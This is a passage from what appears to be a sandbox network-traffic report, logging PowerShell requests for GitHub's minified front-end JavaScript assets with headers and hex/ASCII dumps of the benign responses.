2024-09-30 13:50:33 UTC	1378	IN	Data Raw: 65 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 69 6e 74 65 72 76 61 6c 54 69 6d 65 29 7d 6e 65 78 74 53 6c 69 64 65 28 29 7b 74 68 69 73 2e 63 75 72 72 65 6e 74 2b 2b 2c 74 68 69 73 2e 63 75 72 72 65 6e 74 3e 74 68 69 73 2e 73 6c 69 64 65 49 64 73 2e 6c 65 6e 67 74 68 2d 31 26 26 28 74 68 69 73 2e 63 75 72 72 65 6e 74 3d 30 29 2c 74 68 69 73 2e 67 6f 54 6f 53 6c 69 64 65 28 74 68 69 73 2e 73 6c 69 64 65 49 64 73 5b 74 68 69 73 2e 63 75 72 72 65 6e 74 5d 29 7d 70 72 65 76 53 6c 69 64 65 28 29 7b 74 68 69 73 2e 63 75 72 72 65 6e 74 2d 2d 2c 74 68 69 73 2e 63 75 72 72 65 6e 74 3c 30 26 26 28 74 68 69 73 2e 63 75 72 72 65 6e 74 3d 74 68 69 73 2e 73 6c 69 64 65 49 64 73 2e 6c 65 6e 67 74 68 2d 31 29 2c 74 68 69 73 2e 67 6f 54 6f 53 6c 69 64 65 28 74 68 Data Ascii: e.bind(this),this.intervalTime)}nextSlide(){this.current++,this.current>this.slideIds.length-1&&(this.current=0),this.goToSlide(this.slideIds[this.current])}prevSlide(){this.current--,this.current<0&&(this.current=this.slideIds.length-1),this.goToSlide(th
2024-09-30 13:50:33 UTC	1378	IN	Data Raw: 41 6c 6c 28 22 2e 6a 73 2d 73 6c 69 64 65 2d 73 68 6f 77 2d 62 75 6c 6c 65 74 5b 61 72 69 61 2d 63 6f 6e 74 72 6f 6c 73 5d 22 29 2c 74 68 69 73 2e 73 6c 69 64 65 49 64 73 3d 5b 5d 2c 74 68 69 73 2e 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 75 72 72 65 6e 74 3d 30 2c 74 68 69 73 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 49 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 77 69 70 65 41 72 65 61 3d 74 68 69 73 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 6a 73 2d 73 6c 69 64 65 2d 73 68 6f 77 2d 73 77 69 70 65 2d 61 72 65 61 22 29 2c 74 68 69 73 2e 74 6f 75 63 68 53 74 61 72 74 58 3d 30 2c 74 68 69 73 2e 74 6f 75 63 68 45 6e 64 58 3d 30 2c 74 68 69 73 2e 73 77 69 70 65 4c 65 6e 67 74 68 4d 6f 64 3d 32 30 2c 65 26 26 21 28 30 2c 73 2e 47 7a 29 28 Data Ascii: All(".js-slide-show-bullet[aria-controls]"),this.slideIds=[],this.interval=null,this.current=0,this.currentSlideId=null,this.swipeArea=this.querySelector(".js-slide-show-swipe-area"),this.touchStartX=0,this.touchEndX=0,this.swipeLengthMod=20,e&&!(0,s.Gz)(
2024-09-30 13:50:33 UTC	1378	IN	Data Raw: 6c 65 63 74 6f 72 28 22 2e 73 75 62 2d 6e 61 76 2d 6d 6b 74 67 2d 74 6f 67 67 6c 65 22 29 3a 6e 75 6c 6c 3b 69 26 26 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 65 78 70 61 6e 64 65 64 22 2c 53 74 72 69 6e 67 28 22 74 72 75 65 22 21 3d 3d 69 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 65 78 70 61 6e 64 65 64 22 29 29 29 7d 29 2c 28 30 2c 6e 2e 6f 6e 29 28 22 63 6c 69 63 6b 22 2c 22 2e 73 75 62 2d 6e 61 76 2d 6d 6b 74 67 2e 73 63 72 6f 6c 6c 6e 61 76 2e 6f 6e 20 2e 73 75 62 2d 6e 61 76 2d 6d 6b 74 67 2d 6c 69 6e 6b 22 2c 65 3d 3e 7b 65 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 2e 63 6c 6f 73 65 73 74 28 22 2e 73 75 62 2d 6e 61 76 2d 6d 6b 74 67 22 29 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 6f 6e 22 29 7d Data Ascii: lector(".sub-nav-mktg-toggle"):null;i&&i.setAttribute("aria-expanded",String("true"!==i.getAttribute("aria-expanded")))}),(0,n.on)("click",".sub-nav-mktg.scrollnav.on .sub-nav-mktg-link",e=>{e.currentTarget.closest(".sub-nav-mktg").classList.remove("on")}
2024-09-30 13:50:33 UTC	1378	IN	Data Raw: 65 64 22 29 3f 28 69 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 49 46 72 61 6d 65 45 6c 65 6d 65 6e 74 26 26 69 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 29 2c 74 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 69 73 2d 65 78 70 61 6e 64 65 64 22 29 2c 69 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 4d 65 64 69 61 45 6c 65 6d 65 6e 74 26 26 69 2e 70 61 75 73 65 28 29 29 3a 28 69 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 49 46 72 61 6d 65 45 6c 65 6d 65 6e 74 26 26 28 69 2e 73 72 63 3d 69 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 73 72 63 22 29 7c 7c 22 22 29 2c 69 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 4d 65 64 69 61 45 6c 65 6d 65 6e 74 26 26 69 2e 70 6c 61 79 28 29 2c 74 2e 63 6c Data Ascii: ed")?(i instanceof HTMLIFrameElement&&i.removeAttribute("src"),t.classList.remove("is-expanded"),i instanceof HTMLMediaElement&&i.pause()):(i instanceof HTMLIFrameElement&&(i.src=i.getAttribute("data-src")\|\|""),i instanceof HTMLMediaElement&&i.play(),t.cl
2024-09-30 13:50:33 UTC	1378	IN	Data Raw: 6e 67 5f 74 65 73 74 69 6d 6f 6e 69 61 6c 73 2d 63 61 72 6f 75 73 65 6c 2d 65 6c 65 6d 65 6e 74 5f 74 73 22 29 2e 74 68 65 6e 28 69 2e 62 69 6e 64 28 69 2c 39 35 31 32 33 29 29 29 2c 28 30 2c 70 2e 53 65 29 28 22 75 6e 76 65 69 6c 2d 63 6f 6e 74 61 69 6e 65 72 22 2c 28 29 3d 3e 69 2e 65 28 22 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 6d 61 72 6b 65 74 69 6e 67 5f 75 6e 76 65 69 6c 5f 74 73 22 29 2e 74 68 65 6e 28 69 2e 62 69 6e 64 28 69 2c 33 33 34 38 30 29 29 29 2c 28 30 2c 70 2e 53 65 29 28 22 76 69 64 65 6f 2d 70 6c 61 79 65 72 22 2c 28 29 3d 3e 69 2e 65 28 22 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 6d 61 72 6b 65 74 69 6e 67 5f 76 69 64 65 6f 2d 70 6c 61 79 65 72 5f 74 73 22 29 2e 74 68 65 6e 28 69 2e 62 69 6e 64 28 69 Data Ascii: ng_testimonials-carousel-element_ts").then(i.bind(i,95123))),(0,p.Se)("unveil-container",()=>i.e("app_assets_modules_marketing_unveil_ts").then(i.bind(i,33480))),(0,p.Se)("video-player",()=>i.e("app_assets_modules_marketing_video-player_ts").then(i.bind(i
2024-09-30 13:50:33 UTC	1378	IN	Data Raw: 2e 73 70 6c 69 74 28 22 3a 22 29 3b 65 26 26 28 74 5b 65 2e 74 72 69 6d 28 29 5d 3d 73 3f 2e 74 72 69 6d 28 29 7c 7c 65 2e 74 72 69 6d 28 29 29 7d 72 65 74 75 72 6e 20 74 7d 28 69 29 2c 2e 2e 2e 74 7d 7d 28 30 2c 73 2e 6f 6e 29 28 22 63 6c 69 63 6b 22 2c 64 2c 65 3d 3e 7b 69 66 28 65 26 26 65 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 29 74 72 79 7b 28 30 2c 61 2e 42 49 29 28 22 61 6e 61 6c 79 74 69 63 73 2e 63 6c 69 63 6b 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 7b 2e 2e 2e 63 28 65 2c 22 61 22 29 26 26 68 28 65 29 2c 2e 2e 2e 63 28 65 2c 22 62 75 74 74 6f 6e 22 29 26 26 67 28 65 29 2c 2e 2e 2e 6d 28 65 29 2c 2e 2e 2e 62 28 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 6c 29 29 7d 7d 28 65 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 29 29 Data Ascii: .split(":");e&&(t[e.trim()]=s?.trim()\|\|e.trim())}return t}(i),...t}}(0,s.on)("click",d,e=>{if(e&&e.currentTarget)try{(0,a.BI)("analytics.click",function(e){return{...c(e,"a")&&h(e),...c(e,"button")&&g(e),...m(e),...b(e.getAttribute(l))}}(e.currentTarget))

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.7	49766	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:34 UTC	371	OUT	GET /assets/marketing-experiments-6794cdd7dce1.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:34 UTC	695	IN	HTTP/1.1 200 OK Connection: close Content-Length: 8501 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Mon, 23 Sep 2024 09:19:24 GMT ETag: "0x8DCDBB0D1237985" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 535989 Date: Mon, 30 Sep 2024 13:50:34 GMT X-Served-By: cache-iad-kjyo7100160-IAD, cache-ewr-kewr1740069-EWR X-Cache: HIT, MISS X-Cache-Hits: 143, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: cb8985aa8df41e8e617713c3c83c62d44cd5c8a0
2024-09-30 13:50:34 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6d 61 72 6b 65 74 69 6e 67 2d 65 78 70 65 72 69 6d 65 6e 74 73 22 5d 2c 7b 39 37 37 39 37 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 66 75 6e 63 74 69 6f 6e 20 72 28 29 7b 69 66 28 21 28 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 72 29 29 72 65 74 75 72 6e 20 6e 65 77 20 72 3b 74 68 69 73 2e 73 69 7a 65 3d 30 2c 74 68 69 73 2e 75 69 64 3d 30 2c 74 68 69 73 2e 73 65 6c 65 63 74 6f 72 73 3d 5b 5d 2c 74 68 69 73 2e 73 65 6c 65 63 74 6f 72 4f 62 6a 65 63 74 73 3d 7b 7d 2c 74 68 69 73 2e 69 6e 64 65 78 65 73 3d 4f 62 6a 65 63 74 2e 63 72 65 61 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["marketing-experiments"],{97797:(e,t,n)=>{function r(){if(!(this instanceof r))return new r;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.crea
2024-09-30 13:50:34 UTC	1378	IN	Data Raw: 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 21 30 7d 2c 65 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 5b 21 30 5d 7d 7d 2c 6f 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 4d 61 70 3f 77 69 6e 64 6f 77 2e 4d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 74 68 69 73 2e 6d 61 70 3d 7b 7d 7d 72 65 74 75 72 6e 20 65 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6d 61 70 5b 65 2b 22 20 22 5d 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 2e 6d 61 70 5b 65 2b 22 20 22 5d 3d 74 7d 2c 65 7d 28 29 3b 76 61 72 20 6c 3d 2f 28 28 3f 3a 5c Data Ascii: nction(){return!0},element:function(){return[!0]}},o="function"==typeof window.Map?window.Map:function(){function e(){this.map={}}return e.prototype.get=function(e){return this.map[e+" "]},e.prototype.set=function(e,t){this.map[e+" "]=t},e}();var l=/((?:\
2024-09-30 13:50:34 UTC	1378	IN	Data Raw: 68 69 73 2e 73 65 6c 65 63 74 6f 72 73 3d 5b 5d 2c 70 3d 74 68 69 73 2e 73 65 6c 65 63 74 6f 72 4f 62 6a 65 63 74 73 2c 68 3d 7b 7d 2c 76 3d 31 3d 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 66 6f 72 28 6f 3d 30 2c 6e 3d 66 28 74 68 69 73 2e 69 6e 64 65 78 65 73 2c 65 29 3b 6f 3c 6e 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 72 3d 6e 5b 6f 5d 2c 69 3d 6c 2e 6c 65 6e 67 74 68 3b 69 2d 2d 3b 29 69 66 28 61 3d 6c 5b 69 5d 2c 72 2e 69 6e 64 65 78 2e 69 73 50 72 6f 74 6f 74 79 70 65 4f 66 28 61 29 29 7b 69 66 28 63 3d 61 2e 6d 61 70 2e 67 65 74 28 72 2e 6b 65 79 29 29 66 6f 72 28 73 3d 63 2e 6c 65 6e 67 74 68 3b 73 2d 2d 3b 29 28 75 3d 63 5b 73 5d 29 2e 73 65 6c 65 63 74 6f 72 3d 3d 3d 65 26 26 28 76 7c 7c 75 2e 64 61 74 61 3d 3d 3d 74 29 26 26 Data Ascii: his.selectors=[],p=this.selectorObjects,h={},v=1==arguments.length;for(o=0,n=f(this.indexes,e);o<n.length;o++)for(r=n[o],i=l.length;i--;)if(a=l[i],r.index.isPrototypeOf(a)){if(c=a.map.get(r.key))for(s=c.length;s--;)(u=c[s]).selector===e&&(v\|\|u.data===t)&&
2024-09-30 13:50:34 UTC	1378	IN	Data Raw: 68 69 73 29 7c 7c 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 65 2c 74 29 7b 79 26 26 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 22 63 75 72 72 65 6e 74 54 61 72 67 65 74 22 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 74 7c 7c 79 2e 67 65 74 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 43 28 65 29 7b 69 66 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 65 2e 65 76 65 6e 74 50 68 61 73 65 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 28 65 29 29 7b 76 61 72 20 74 3d 28 31 3d 3d 3d 65 2e 65 76 65 6e 74 50 68 61 73 65 3f 68 3a 70 29 5b 65 2e 74 79 70 65 5d 3b 69 66 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: his)\|\|null}function k(e,t){y&&Object.defineProperty(e,"currentTarget",{configurable:!0,enumerable:!0,get:t\|\|y.get})}function C(e){if(function(e){try{return e.eventPhase,!0}catch(e){return!1}}(e)){var t=(1===e.eventPhase?h:p)[e.type];if(t){var n=function(e
2024-09-30 13:50:34 UTC	1378	IN	Data Raw: 22 2e 65 78 70 65 72 69 6d 65 6e 74 61 6c 2d 76 69 64 65 6f 22 29 3b 74 72 79 7b 69 66 28 73 29 7b 6c 65 74 20 74 3d 61 77 61 69 74 20 28 30 2c 69 2e 6c 53 29 28 22 2f 65 78 70 2f 77 65 62 65 78 2f 76 61 72 69 61 6e 74 73 2f 68 6f 6d 65 70 61 67 65 5f 76 69 64 65 6f 5f 70 6f 70 75 70 22 29 2c 6e 3d 61 77 61 69 74 20 74 2e 6a 73 6f 6e 28 29 3b 22 64 69 73 70 6c 61 79 5f 76 69 64 65 6f 5f 70 6f 70 75 70 22 3d 3d 3d 6e 2e 76 61 6c 75 65 26 26 65 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 68 69 64 64 65 6e 22 29 7d 7d 63 61 74 63 68 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 22 45 72 72 6f 72 20 66 65 74 63 68 69 6e 67 20 65 78 70 65 72 69 6d 65 6e 74 73 3a 22 2c 65 29 7d 7d 3b 28 30 2c 72 2e 6f 6e 29 28 22 63 6c 69 63 6b 22 2c 22 2e Data Ascii: ".experimental-video");try{if(s){let t=await (0,i.lS)("/exp/webex/variants/homepage_video_popup"),n=await t.json();"display_video_popup"===n.value&&e.classList.remove("hidden")}}catch(e){console.error("Error fetching experiments:",e)}};(0,r.on)("click",".
2024-09-30 13:50:34 UTC	1378	IN	Data Raw: 29 7d 2c 38 36 37 33 33 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 6e 2e 64 28 74 2c 7b 4b 6e 3a 28 29 3d 3e 69 2c 58 43 3a 28 29 3d 3e 72 2c 63 67 3a 28 29 3d 3e 6f 2c 66 56 3a 28 29 3d 3e 73 7d 29 3b 6c 65 74 20 72 3d 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 3f 76 6f 69 64 20 30 3a 64 6f 63 75 6d 65 6e 74 2c 6f 3d 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 3f 76 6f 69 64 20 30 3a 77 69 6e 64 6f 77 2c 69 3d 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 68 69 73 74 6f 72 79 3f 76 6f 69 64 20 30 3a 68 69 73 74 6f 72 79 2c 73 3d 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 6c 6f 63 61 74 69 6f 6e 3f 7b 70 61 74 68 6e 61 6d 65 3a 22 22 2c 6f 72 69 67 69 6e 3a 22 Data Ascii: )},86733:(e,t,n)=>{n.d(t,{Kn:()=>i,XC:()=>r,cg:()=>o,fV:()=>s});let r="undefined"==typeof document?void 0:document,o="undefined"==typeof window?void 0:window,i="undefined"==typeof history?void 0:history,s="undefined"==typeof location?{pathname:"",origin:"
2024-09-30 13:50:34 UTC	233	IN	Data Raw: 69 66 28 6f 2e 68 61 73 28 72 29 29 72 65 74 75 72 6e 20 6f 2e 67 65 74 28 72 29 3b 6c 65 74 20 69 3d 65 2e 61 70 70 6c 79 28 74 68 69 73 2c 74 29 3b 72 65 74 75 72 6e 20 69 20 69 6e 73 74 61 6e 63 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 69 3d 69 2e 63 61 74 63 68 28 65 3d 3e 7b 74 68 72 6f 77 20 6f 2e 64 65 6c 65 74 65 28 72 29 2c 65 7d 29 29 2c 6f 2e 73 65 74 28 72 2c 69 29 2c 69 7d 7d 6e 2e 64 28 74 2c 7b 41 3a 28 29 3d 3e 6f 7d 29 7d 7d 2c 65 3d 3e 7b 65 28 65 2e 73 3d 39 32 35 32 31 29 7d 5d 29 3b 0a 2f 2f 23 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 6d 61 72 6b 65 74 69 6e 67 2d 65 78 70 65 72 69 6d 65 6e 74 73 2d 38 36 65 34 38 66 33 66 32 66 38 33 2e 6a 73 2e 6d 61 70 Data Ascii: if(o.has(r))return o.get(r);let i=e.apply(this,t);return i instanceof Promise&&(i=i.catch(e=>{throw o.delete(r),e})),o.set(r,i),i}}n.d(t,{A:()=>o})}},e=>{e(e.s=92521)}]);//# sourceMappingURL=marketing-experiments-86e48f3f2f83.js.map

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.7	49765	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:34 UTC	354	OUT	GET /assets/home-fa7c9cc8a53c.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:34 UTC	695	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1566 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Fri, 09 Aug 2024 19:18:47 GMT ETag: "0x8DCB8A817B95142" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1055336 Date: Mon, 30 Sep 2024 13:50:34 GMT X-Served-By: cache-iad-kcgs7200160-IAD, cache-nyc-kteb1890093-NYC X-Cache: HIT, HIT X-Cache-Hits: 175, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 911008df22c079a1078a352e362544f6e559d1a2
2024-09-30 13:50:34 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 68 6f 6d 65 22 5d 2c 7b 36 30 35 36 35 3a 28 65 2c 74 2c 6f 29 3d 3e 7b 76 61 72 20 72 3d 6f 28 32 31 34 30 33 29 3b 6c 65 74 20 6c 3d 6e 65 77 20 49 6e 74 65 72 73 65 63 74 69 6f 6e 4f 62 73 65 72 76 65 72 28 65 3d 3e 7b 66 6f 72 28 6c 65 74 20 74 20 6f 66 20 65 29 69 66 28 74 2e 69 73 49 6e 74 65 72 73 65 63 74 69 6e 67 29 7b 6c 65 74 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 6a 73 2d 67 6c 6f 62 65 2d 72 6f 6f 74 20 63 61 6e 76 61 73 22 29 3b 65 3f 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["home"],{60565:(e,t,o)=>{var r=o(21403);let l=new IntersectionObserver(e=>{for(let t of e)if(t.isIntersecting){let e=document.querySelector(".js-globe-root canvas");e?.dispatchEvent
2024-09-30 13:50:34 UTC	188	IN	Data Raw: 65 29 22 29 2e 6d 61 74 63 68 65 73 26 26 73 28 65 29 7d 29 7d 7d 2c 65 3d 3e 7b 76 61 72 20 74 3d 74 3d 3e 65 28 65 2e 73 3d 74 29 3b 65 2e 4f 28 30 2c 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 73 65 6c 65 63 74 6f 72 2d 6f 62 73 65 72 76 65 72 5f 64 69 73 74 5f 69 6e 64 65 78 5f 65 73 6d 5f 6a 73 22 5d 2c 28 29 3d 3e 74 28 36 30 35 36 35 29 29 2c 65 2e 4f 28 29 7d 5d 29 3b 0a 2f 2f 23 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 68 6f 6d 65 2d 30 33 37 65 63 33 63 64 36 63 63 65 2e 6a 73 2e 6d 61 70 Data Ascii: e)").matches&&s(e)})}},e=>{var t=t=>e(e.s=t);e.O(0,["vendors-node_modules_github_selector-observer_dist_index_esm_js"],()=>t(60565)),e.O()}]);//# sourceMappingURL=home-037ec3cd6cce.js.map

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.7	49768	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:35 UTC	361	OUT	GET /assets/webgl-globe-b8ac95da6496.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:35 UTC	693	IN	HTTP/1.1 200 OK Connection: close Content-Length: 228 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Mon, 05 Aug 2024 19:46:44 GMT ETag: 0x8DCB58755BBF48A Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 3611392 Date: Mon, 30 Sep 2024 13:50:35 GMT X-Served-By: cache-iad-kcgs7200100-IAD, cache-ewr-kewr1740029-EWR X-Cache: HIT, HIT X-Cache-Hits: 376, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 23336af314f4c741ef92361724af11b9f3aa3e10
2024-09-30 13:50:35 UTC	228	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 77 65 62 67 6c 2d 67 6c 6f 62 65 22 5d 2c 7b 33 35 34 35 31 3a 28 73 2c 65 2c 62 29 3d 3e 7b 62 28 38 33 31 33 38 29 7d 7d 2c 73 3d 3e 7b 76 61 72 20 65 3d 65 3d 3e 73 28 73 2e 73 3d 65 29 3b 73 2e 4f 28 30 2c 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 77 65 62 67 6c 2d 67 6c 6f 62 65 5f 64 69 73 74 5f 6a 73 5f 6d 61 69 6e 5f 6a 73 22 5d 2c 28 29 3d 3e 65 28 33 35 34 35 31 29 29 2c 73 2e 4f 28 29 7d 5d 29 3b Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["webgl-globe"],{35451:(s,e,b)=>{b(83138)}},s=>{var e=e=>s(s.s=e);s.O(0,["vendors-node_modules_github_webgl-globe_dist_js_main_js"],()=>e(35451)),s.O()}]);

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.7	49767	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:35 UTC	405	OUT	GET /assets/vendors-node_modules_github_webgl-globe_dist_js_main_js-7ace716f3606.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:35 UTC	697	IN	HTTP/1.1 200 OK Connection: close Content-Length: 587700 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Thu, 08 Aug 2024 18:12:14 GMT ETag: "0x8DCB7D5A14AE5AF" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2411032 Date: Mon, 30 Sep 2024 13:50:35 GMT X-Served-By: cache-iad-kjyo7100146-IAD, cache-ewr-kewr1740028-EWR X-Cache: HIT, HIT X-Cache-Hits: 363, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 8ea6cbeddfa2a1ab361ed0af409aa18297300f81
